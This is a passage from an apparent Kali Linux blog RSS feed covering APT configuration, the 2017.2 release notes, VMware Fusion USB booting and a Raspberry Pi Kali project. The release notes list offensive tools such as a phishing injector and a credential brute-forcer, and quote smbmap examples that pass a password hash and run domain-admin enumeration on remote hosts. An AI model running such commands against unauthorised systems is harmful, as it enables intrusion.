&lt;/code>&lt;/pre>
&lt;h2 id="apt-configuration">APT Configuration&lt;/h2>
&lt;h3 id="setting-the-default-distribution">Setting the Default Distribution&lt;/h3>
&lt;p>Now that you have some extra repositories added to your system, you will want to begin exploring and installing new packages, but before you do, it&amp;rsquo;s a good idea to tell APT what your &lt;em>default distribution&lt;/em> is, which for Kali Linux users, is &amp;ldquo;kali-rolling&amp;rdquo;. This way your system won&amp;rsquo;t upgrade to some other distribution without your consent. Configure your default distribution by adding &amp;ldquo;APT::Default-Release &amp;ldquo;kali-rolling&amp;rdquo;;&amp;rdquo; to &lt;strong>&lt;em>/etc/apt/apt.conf.d/local&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/apt.conf.d/local
APT::Default-Release &amp;quot;kali-rolling&amp;quot;;
&lt;/code>&lt;/pre>
&lt;p>With your default distribution configured, any time you run &amp;lsquo;apt full-upgrade&amp;rsquo;, it will apply the upgrade to kali-rolling, helping keep your system stable.&lt;/p>
&lt;h3 id="reducing-upgrade-prompts">Reducing Upgrade Prompts&lt;/h3>
&lt;p>If you use any Debian derivative for a significant amount of time, you will come across a prompt while running &amp;lsquo;apt upgrade&amp;rsquo; asking you about a configuration file and whether you want to keep the local version, use the new version, or compare them. More often than not, you will find yourself accepting the default, making these interruptions wasteful.&lt;/p>
&lt;p>You can avoid these prompts by updating your &lt;strong>&lt;em>/etc/apt/apt.conf.d/local&lt;/em>&lt;/strong> file with &amp;lsquo;DPkg::options { &amp;ldquo;&amp;ndash;force-confdef&amp;rdquo;; &amp;ldquo;&amp;ndash;force-confold&amp;rdquo;; }&amp;rsquo; as shown below. This line tells APT to try to choose by itself if the files have not changed (&amp;ndash;force-confdef) and if the files are different, keep the existing version (&amp;ndash;force-confold):&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/apt.conf.d/local
DPkg::options { &amp;quot;--force-confdef&amp;quot;; &amp;quot;--force-confold&amp;quot;; }
APT::Default-Release &amp;quot;kali-rolling&amp;quot;;
&lt;/code>&lt;/pre>
&lt;h3 id="pinning-package-versions">Pinning Package Versions&lt;/h3>
&lt;p>Occasionally, you will find some application that needs a specific version of a particular package and will not work with any other. Other times, an update to one package might adversely affect other tools. This happened to us recently with an update to the devscripts package, which was preventing us from building Kali packages.&lt;/p>
&lt;p>Fortunately, APT allows you to &lt;em>pin&lt;/em> a package to a particular version by setting its priority to &lt;em>1001&lt;/em> in &lt;strong>&lt;em>/etc/apt/preferences&lt;/em>&lt;/strong>. For example, to tell APT to hold the devscripts package at version 2.16.x, you would add the following:&lt;/p>
&lt;pre>&lt;code class="language-console">Package: devscripts
Pin: version 2.16.*
Pin-Priority: 1001
&lt;/code>&lt;/pre>
&lt;h2 id="additional-resources">Additional Resources&lt;/h2>
&lt;p>In this post, we have only been able to scratch the surface of how you can extend APT far beyond the default Kali or Debian ecosystem. The solver algorithms are very effective and running into issues is rare, so you need not fear exploring other repositories. To learn more about APT and how to bend it to your will, we encourage you to refer to &lt;a href="https://web.archive.org/web/20210914172345/https://kali.training/topic/introduction-to-apt/">Kali Linux Revealed&lt;/a> and &lt;a href="https://debian-handbook.info/browse/stable/apt.html">The Debian Administrator&amp;rsquo;s Handbook&lt;/a>, both of which contain a wealth of information, tips, and tricks.&lt;/p></description></item><item><title>Kali Linux 2017.2 Release</title><link>https://www.kali.org/blog/kali-linux-2017-2-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2017-2-release/</guid><pubDate>Wed, 20 Sep 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2017-2-release/images/kali-2017-2-release.jpg" type="image/jpg"/><description>&lt;p>We are happy to announce the release of Kali Linux 2017.2, &lt;a href="https://www.kali.org/get-kali/">available now&lt;/a> for your downloading pleasure. This release is a roll-up of all updates and fixes since our &lt;a href="https://www.kali.org/blog/kali-linux-2017-1-release/">2017.1 release&lt;/a> in April. In tangible terms, if you were to install Kali from your 2017.1 ISO, after logging in to the desktop and running &amp;lsquo;apt update &amp;amp;&amp;amp; apt full-upgrade&amp;rsquo;, you would be faced with something similiar to this daunting message:&lt;/p>
&lt;pre>&lt;code class="language-plain">1399 upgraded, 171 newly installed, 16 to remove and 0 not upgraded.
Need to get 1,477 MB of archives.
After this operation, 1,231 MB of additional disk space will be used.
Do you want to continue? [Y/n]
&lt;/code>&lt;/pre>
&lt;p>That would make for a whole lot of downloading, unpacking, and configuring of packages. Naturally, these numbers don&amp;rsquo;t tell the entire tale so read on to see what&amp;rsquo;s new in this release.&lt;/p>
&lt;h3 id="new-and-updated-packages-in-kali-20172">New and Updated Packages in Kali 2017.2&lt;/h3>
&lt;p>In addition to all of the standard security and package updates that come to us via &lt;a href="https://wiki.debian.org/DebianTesting">Debian Testing&lt;/a>, we have also added more than a dozen new tools to the repositories, a few of which are listed below. There are some really nice additions so we encourage you to &amp;lsquo;apt install&amp;rsquo; the ones that pique your interest and check them out.&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://github.com/fnord0/hURL">hurl&lt;/a>&lt;/strong> - a useful little hexadecimal and URL encoder/decoder&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://github.com/ryhanson/phishery">phishery&lt;/a>&lt;/strong> - phishery lets you inject SSL-enabled basic auth phishing URLs into a .docx Word document&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://github.com/arthepsy/ssh-audit">ssh-audit&lt;/a>&lt;/strong> - an SSH server auditor that checks for encryption types, banners, compression, and more&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/docs/tools/removed-tools/">apt2&lt;/a>&lt;/strong> - an Automated Penetration Testing Toolkit that runs its own scans or imports results from various scanners, and takes action on them&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://github.com/BloodHoundAD/BloodHound">bloodhound&lt;/a>&lt;/strong> - uses graph theory to reveal the hidden or unintended relationships within Active Directory&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://github.com/byt3bl33d3r/CrackMapExec">crackmapexec&lt;/a>&lt;/strong> - a post-exploitation tool to help automate the assessment of large Active Directory networks&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://dbeaver.io/">dbeaver&lt;/a>&lt;/strong> - powerful GUI database manager that supports the most popular databases, including MySQL, PostgreSQL, Oracle, SQLite, and many more&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://github.com/x90skysn3k/brutespray">brutespray&lt;/a>&lt;/strong> - automatically attempts default credentials on discovered services&lt;/li>
&lt;/ul>
&lt;p>On top of all the new packages, this release also includes numerous package updates, including &lt;a href="https://www.kali.org/tools/jd-gui/">jd-gui&lt;/a>, &lt;a href="https://www.kali.org/tools/dnsenum/">dnsenum&lt;/a>, &lt;a href="https://www.kali.org/tools/edb-debugger/">edb-debugger&lt;/a>, &lt;a href="https://www.kali.org/tools/wpscan/">wpscan&lt;/a>, watobo, &lt;a href="https://www.kali.org/tools/burpsuite/">burpsuite&lt;/a>, and many others. To check out the full list of updates and additions, refer to the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali changelog&lt;/a> on our bug tracker.&lt;/p>
&lt;h3 id="ongoing-integration-improvements">Ongoing Integration Improvements&lt;/h3>
&lt;p>Beyond the new and updated packages in this release, we have also been working towards improving the overall integration of packages in Kali Linux. One area in particular is in program usage examples. Many program authors assume that their application will only be run in a certain manner or from a certain location. For example, the SMBmap application has a binary name of &amp;lsquo;smbmap&amp;rsquo; but if you were to look at the usage example, you would see this:&lt;/p>
&lt;p>Examples:&lt;/p>
&lt;pre>&lt;code class="language-console">$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group &amp;quot;Domain Admins&amp;quot; /domain'
&lt;/code>&lt;/pre>
&lt;p>If you were a novice user, you might see these examples, try to run them verbatim, find that they don&amp;rsquo;t work, assume the tool doesn&amp;rsquo;t work, and move on. That would be a shame because smbmap is an excellent program so we have been working on fixing these usage discrepancies to help improve the overall fit and finish of the distribution. If you run &amp;lsquo;smbmap&amp;rsquo; in Kali 2017.2, you will now see this output instead:&lt;/p>
&lt;p>Examples:&lt;/p>
&lt;pre>&lt;code class="language-console">$ smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ smbmap -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group &amp;quot;Domain Admins&amp;quot; /domain'
&lt;/code>&lt;/pre>
&lt;p>We hope that small tweaks like these will help reduce confusion to both veterans and newcomers and it&amp;rsquo;s something we will continue working towards as time goes on.&lt;/p>
&lt;h3 id="learn-more-about-kali-linux">Learn More About Kali Linux&lt;/h3>
&lt;p>In the time since the release of 2017.1, we also released our first book, Kali Linux Revealed, in both &lt;del>physical&lt;/del> and &lt;a href="https://kali.training/">online&lt;/a> formats. If you are interested in going far beyond the basics, really want to learn how Kali Linux works, and how you can leverage its many advanced features, we encourage you to check it out. Once you have mastered the material, you will have the foundation required to pursue the &lt;a href="https://web.archive.org/web/20220129202701/https://home.pearsonvue.com/kali">Kali Linux Certified Professional&lt;/a> certification.&lt;/p>
&lt;h3 id="kali-iso-downloads-virtual-machines-and-arm-images">Kali ISO Downloads, Virtual Machines and ARM Images&lt;/h3>
&lt;p>The Kali Rolling 2017.2 release can be downloaded via our &lt;a href="https://www.kali.org/get-kali/">official Kali Download page&lt;/a>. This release, we have also updated our &lt;a href="https://www.kali.org/get-kali/#kali-vm">Kali Virtual Images&lt;/a> and &lt;a href="https://www.kali.org/get-kali/#kali-arm">Kali ARM Images&lt;/a> downloads. As always, if you already have Kali installed and running to your liking, all you need to do in order to get up-to-date is run the following:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt update
apt dist-upgrade
reboot
&lt;/code>&lt;/pre>
&lt;p>We hope you enjoy this fine release as much as we enjoyed making it!&lt;/p></description></item><item><title>VMware Fusion Kali USB Boot</title><link>https://www.kali.org/blog/vmware-fusion-kali-usb-boot/</link><guid isPermaLink="true">https://www.kali.org/blog/vmware-fusion-kali-usb-boot/</guid><pubDate>Wed, 26 Jul 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/vmware-fusion-kali-usb-boot.jpg" type="image/jpg"/><description>&lt;h2 id="vmware-fusion-kali-usb-boot">VMware Fusion Kali USB Boot&lt;/h2>
&lt;p>One of the fun, and often necessary, features of Kali Linux is the ability to create really killer, completely customized live-boot installations. Normally stored on a USB drive, these installations put the power of Kali Linux in your pocket, ready to launch whenever you need it.&lt;/p>
&lt;p>Building Kali live USB installations is pretty straightforward, whether you&amp;rsquo;re going for plain installation, building in persistence so you can store files, going fully-encrypted (even arming a self-destruct passphrase), or customizing and building your own tailored install.&lt;/p>
&lt;p>However, the process of testing your USB install can be a bit of a pain, especially if you&amp;rsquo;re a Mac user. You could, under certain circumstances, reboot your Mac and boot from the USB, but that can be a real hassle.&lt;/p>
&lt;p>However, wouldn&amp;rsquo;t it be great if you could use a product like &lt;a href="https://www.vmware.com/ca/products/fusion.html">VMware Fusion&lt;/a> (which is the industry-leading product and does a fabulous job running every other OS on our Macs already) to boot and test your live USBs? No rebooting. No fuss. Just pop it in and let it fly.&lt;/p>
&lt;p>That seemed like a great idea but the Fusion product has been in flux for awhile, and seems to get &amp;ldquo;special&amp;rdquo; treatment from VMware. The company seems to think that Mac users don&amp;rsquo;t need extensive options, like a checkbox for EFI booting. Instead, they set it up so that if your guest is Mac or Windows-based, it will automatically do an EFI boot for you. That&amp;rsquo;s helpful, but if you create a Mac or Windows guest and try to boot from the USB, you&amp;rsquo;ll get the Kali boot screen, followed by a boot-halting message that the USB doesn&amp;rsquo;t contain a version of Mac or Windows.&lt;/p>
&lt;p>Because of this flux, and core differences between Fusion and the rest of the VMware line, this EFI USB booting issue had us stumped. A few workarounds have been introduced, like booting a specialized VM that would attempt an EFI boot, but they had their own problems.&lt;/p>
&lt;p>Thankfully, Fusion has matured enough that now we can get under the hood and make this process work. Here&amp;rsquo;s how you do it.&lt;/p>
&lt;p>Create a new custom VM:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Select &amp;ldquo;Linux&amp;rdquo; -&amp;gt; &amp;ldquo;Debian 8.x 64-bit&amp;rdquo;.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Create a new virtual disk. Settings do not matter.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image3.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Click &amp;ldquo;Finish&amp;rdquo;:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image4.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Give it a snappy name:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image5.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image5.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Shut down the machine. Go to &amp;ldquo;Virtual Machine&amp;rdquo; -&amp;gt; &amp;ldquo;Settings&amp;rdquo; -&amp;gt; &amp;ldquo;Processor and Memory&amp;rdquo;, set memory to at least 2048 MB, and set cores to &amp;ldquo;2&amp;rdquo;:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image6.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image6.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Next, head to &amp;ldquo;Settings&amp;rdquo; -&amp;gt; &amp;ldquo;Display&amp;rdquo;, and check &amp;ldquo;Accelerate 3D Graphics&amp;rdquo;. This is optional, but it really helps the performance of your Kali experience. &amp;ldquo;Use full resolution..&amp;rdquo; is also optional.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image7.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image7.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Head to &amp;ldquo;USB Devices&amp;rdquo;. Insert your Kali USB and set USB compatibility to USB 3.0 (if you have a USB 3.0 compatible system and drive). Note that USB-C, dongles or not, make no difference here. Just make sure that if you&amp;rsquo;re using a USB-C device, select USB 3.0 compatibility. Select &amp;ldquo;Connect to Linux&amp;rdquo; as the &amp;ldquo;Plug in Action&amp;rdquo; and set the machine to &amp;ldquo;Connect to this virtual machine&amp;rdquo; when it is plugged in:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image8.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image8.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Go to &amp;ldquo;Settings&amp;rdquo; -&amp;gt; &amp;ldquo;Disks&amp;rdquo;. Select &amp;ldquo;Advanced Options&amp;rdquo; and &amp;ldquo;Remove Hard Disk&amp;rdquo;, sending it to the Trash. You won&amp;rsquo;t need it.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image9.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image9.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Next, you&amp;rsquo;ll need to enable EFi booting. There is no GUI setting for this so, you need to find this VM on your hard drive. Virtual hard drives are stored by default in &lt;strong>&lt;em>~/Documents//Virtual Machines.localized&lt;/em>&lt;/strong>. Change to the directory containing this VM. Ours is called &amp;ldquo;Kali USB Boot&amp;rdquo; so the full path is &lt;strong>&lt;em>~/Documents//Virtual Machines.localized/Kali USB Boot.vmwarevm&lt;/em>&lt;/strong>&amp;quot;. Within that directory is a &lt;strong>&lt;em>.vmx&lt;/em>&lt;/strong> file named after the VM. Ours is called &lt;strong>&lt;em>Kali USB Boot.vmx&lt;/em>&lt;/strong>. Edit that file with your favourite editor and insert the following line:&lt;/p>
&lt;p>&lt;code>firmware = &amp;quot;efi&amp;quot;&lt;/code>&lt;/p>
&lt;p>Be careful with copy and paste. If you paste this line into the editor, you may get funny &amp;ldquo;Mac quotes&amp;rdquo; and this will break the VM. Your &lt;strong>&lt;em>.vmx&lt;/em>&lt;/strong> file should look something like this:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image10.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image10.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Now, power on your VM, and it should boot to Kali Linux:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image11.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image11.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="troubleshooting-usb-connections">Troubleshooting USB Connections&lt;/h3>
&lt;p>If you run into problems, you have a few options. First, power off your VM. Go to &amp;ldquo;Settings&amp;rdquo; -&amp;gt; &amp;ldquo;USB Devices&amp;rdquo; and leave this settings screen up next to your powered-off VM. (You can also expand your toolbar and look at the USB icon). Now, power on the VM. Immediately, you should see the USB Settings screen update with a check next to your USB device:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image12.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image12.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If you don&amp;rsquo;t get a check mark, this means that your Mac has grabbed the USB drive. Power off your VM, eject the drive from the Mac, and power on the VM again with the USB settings screen up. You should see the check mark and get the Kali boot screen.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image13.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image13.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="troubleshooting-efi">Troubleshooting EFI&lt;/h3>
&lt;p>When booting with EFI, your boot screen should look like this:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image14.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image14.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>This indicates that EFI is enabled. If it&amp;rsquo;s not, triple-check that you entered the firmware line correctly in the &lt;strong>&lt;em>.vmx&lt;/em>&lt;/strong> file. Note that in some cases, this EFI Network check may hang. Simply pressing ESC within the VM nudges the process along.&lt;/p>
&lt;p>On a normal boot, you can click inside the VM screen and press ESC &lt;em>quickly&lt;/em> just as the VMware logo is appearing on the screen to get to the Boot Manager:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image15.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image15.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>From here, you can select &amp;ldquo;EFI Internal Shell&amp;rdquo; to get into the shell. If you get something like this, missing an fs0 map, then EFI doesn&amp;rsquo;t see your USB drive. If this is the case, power off the virtual machine, unplug the USB, start the VM, and immediately after pressing start, insert the drive, looking for the checkmark in settings.&lt;/p>
&lt;p>If everything goes well, you&amp;rsquo;re booted into Kali. Otherwise, you can get to an EFI shell with ESC, &amp;ldquo;EFI Internal Shell&amp;rdquo;. A &amp;ldquo;happy&amp;rdquo; EFI shell looks like this:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image16.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image16.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Note the fs0 map. Next, you can enter &amp;lsquo;fs0:&amp;rsquo; and &amp;rsquo;ls&amp;rsquo; to look around.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image17.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image17.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>You can enter &amp;lsquo;cd efi\boot&amp;rsquo; (notice the backslash, not a forward slash!) and boot the device manually with &amp;lsquo;bootx64.efi&amp;rsquo;&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image18.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image18.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>This should give you a happy EFI boot:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image19.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/vmware-fusion-kali-usb-boot/images/image19.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Note that on some installations, the shutdown, followed by removing the drive, powering on the VM and inserting the drive might be required. This likely has much to do with the Mac grabbing the USB drive, or half-grabbing it (without mounting).&lt;/p></description></item><item><title>Kali Drones, Portable CTF Builds, Raspberry Pi Craziness and More!</title><link>https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/</guid><pubDate>Thu, 29 Jun 2017 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/kali-pi-drone.jpg" type="image/jpg"/><description>&lt;p>The Kali community is a pretty crazy thing. There are folks all over the world doing interesting things with Kali Linux and far too often, these cool projects get overlooked. Part of the problem is that the community is spread out all over the &amp;rsquo;net. We&amp;rsquo;re continuing to help build the Kali community to help with this problem, but that&amp;rsquo;s a slightly longer topic. In the meantime, we want to keep you well-informed about cool stuff that&amp;rsquo;s happening in our world-wide community. We&amp;rsquo;ll also be reaching out to standout members of our community, highlight their work, and get them involved in building our new community.&lt;/p>
&lt;p>In this, the first of many community updates, we want to highlight the work of one of our members, @Re4son, who has been a long-time Kali Linux advocate, a volunteer moderator on the &lt;a href="https://forums.kali.org/">Kali Linux forums&lt;/a> and a &amp;ldquo;Dedicated technology enthusiast, obsessed with setting every machine free from the oppression of its maker&amp;rdquo; who is checking in all the way from Melbourne, Australia.&lt;/p>
&lt;p>An OffSec alumni holding both an &lt;a href="https://www.offsec.com/pwk-oscp/">OSCP&lt;/a> and an &lt;a href="https://www.offsec.com/ctp-osce/">OSCE&lt;/a>, @Re4son had an idea to create &amp;ldquo;a small, cheap, autonomous, and low-energy Kali platform with direct hardware access that can do its hacking quietly in the corner or hassle-free on the road&amp;rdquo;. He turned his attention to the Raspberry Pi line, which offered a strong accessory aftermarket, but he discovered that the hardware support was somewhat limited for his needs.&lt;/p>
&lt;p>&amp;ldquo;In 2015 .. I started porting the drivers myself,&amp;rdquo; he explains, &amp;ldquo;and the sticky fingers (touch screen) interface started off as a way to switch between HDMI and TFT screens without needing a keyboard.&amp;rdquo;&lt;/p>
&lt;h3 id="his-project-has-come-a-long-way">His Project has Come a Long Way&lt;/h3>
&lt;p>&amp;ldquo;&lt;a href="https://whitedome.com.au/re4son/kali-pi/">Sticky Fingers Kali-Pi&lt;/a> combines Kali Linux and the Re4son-Kernel into a hassle-free package that turns any Raspberry Pi into a powerful Swiss Army knife with finger-friendly touch screen interface that can provide backend support in your own network, or operate autonomously behind enemy lines, posing as a humidity sensor. Out of the box, the Kali-Pi comes preconfigured with all essential services, such as SSH, VNC, FTP, HTTP, and Wi-Fi backdoor, as well as the &lt;a href="https://github.com/sensepost/mana">MANA toolkit&lt;/a>, &lt;a href="https://www.snort.org/">Snort&lt;/a>, &lt;a href="https://www.kismetwireless.net/">Kismet&lt;/a>, &lt;a href="https://metasploit.com/">Metasploit&lt;/a>, etc. and a finger-friendly touch screen interface to control it all.&amp;rdquo;&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/01-kali-pi.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/01-kali-pi.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Built on a Raspberry Pi 0/0W/1/2/3, this setup can be quick-installed from a pre-configured image or built from scratch, and has options for a TFT touch screen with a custom-built intuitive touch menu, bluetooth, injection support, and more. He&amp;rsquo;s even strapped this puppy onto a drone for some high-flying &amp;ldquo;research&amp;rdquo;.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/02-kali-drone.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/02-kali-drone.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>At the heart of this cool project is the &lt;a href="https://whitedome.com.au/re4son/download/re4son-kernel-current/">Re4son-Kernel&lt;/a> for Raspberry Pi. Built to work with the Pi 0/0W/1/2/3, the Re4son-Kernel, &amp;ldquo;allows Kali Linux to get the best out of any Raspberry Pi by supplying support for the onboard wifi and Bluetooth, wifi injection patches, additional hardware support, security enhancements, headers, sources, etc.&amp;rdquo;&lt;/p>
&lt;p>It also provides complete armel support for the Pi 1, Zero, and Zero W and armhf support for the Pi 2 and 3 and all versions are 100% compatible with the stock Kali Linux Kernel.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/03-kali-drone-screen.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-drones-portable-ctf-builds-raspberry-pi-craziness-and-more/images/03-kali-drone-screen.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>In addition, @Re4son has released images and instructions for a &amp;ldquo;Damn Vulnerable&amp;rdquo; version of the Sticky Fingers Kali Pi, the &amp;ldquo;&lt;a href="https://whitedome.com.au/re4son/sticky-fingers-dv-pi">Sticky Fingers DV-PI&lt;/a>&amp;rdquo; which runs on Raspberry Pi 0/0W/1/2/3 (with or without touchscreen) and is pre-configured with &amp;ldquo;easy(ish)&amp;rdquo; and &amp;ldquo;medium difficulty&amp;rdquo; vulnerabilities for penetration and privilege escalation. This portable, low cost &amp;ldquo;vulnerability playground&amp;rdquo; is perfect for home research, skills sharpening, training, or even small CTF-style contests wherever you happen to be.&lt;/p>
&lt;p>&amp;ldquo;OffSec training courses supply the know-how to achieve world domination&amp;rdquo;, @Re4son tells us, &amp;ldquo;and Sticky Fingers Kali-Pi provides the tools. Hacking has never been more fun.&amp;rdquo;&lt;/p>
&lt;p>We whole-heartedly agree. We&amp;rsquo;re pretty excited about @Re4son&amp;rsquo;s Kali-Pi, Re4son-Kernel, and Sticky Fingers DV-PI projects and are thankful for his unwavering support of users in the &lt;a href="https://forums.kali.org/">Kali Linux forum&lt;/a>.&lt;/p>
&lt;p>Thanks, @Re4son, for your hard work, for being a shining member of the Kali community, and for keeping things fun.&lt;/p>
